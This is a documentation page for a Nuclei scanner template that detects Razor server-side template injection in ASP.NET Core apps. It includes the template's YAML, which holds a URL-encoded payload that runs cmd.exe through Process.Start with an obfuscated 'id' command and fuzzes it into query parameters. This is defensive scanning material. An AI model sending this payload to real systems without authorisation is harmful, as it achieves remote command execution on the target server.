Skip to content
Nuclei Templates

Razor - Server Side Template Injection

ID: razor-ssti

Severity: high

Author: ritikchaddha

Tags: razor,ssti,dast

Description

Section titled “Description”

Razor is a server-side templating engine for ASP.NET Core, it is a powerful template engine that can run pure C# code. It allows for server-side template injection by exploiting the Razor syntax.

YAML Source

Section titled “YAML Source”
id: razor-ssti


info:
  name: Razor - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Razor is a server-side templating engine for ASP.NET Core, it is a powerful template engine that can run pure C# code. It allows for server-side template injection by exploiting the Razor syntax.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: razor,ssti,dast


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      injection:
        - "@{string+x%3Dnull%3Bint[]l%3D{105%2C100}%3Bforeach(int+c+in+l){x%2B%3D((char)c).ToString()%3B}%3B}@System.Diagnostics.Process.Start(%22cmd.exe%22%2C+%22/c+%22+x)"


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"


    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4b0a00483046022100e477b5ed31a81e6752ebd848b0cd74cbc192bf613e87c2fcd9f4ea9335ca12cc022100d2789d9e1e6e57743b0afb63600a244ab7e03782a1bb5fff36483ad9c8ad585c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/razor-ssti.yaml"

View on Github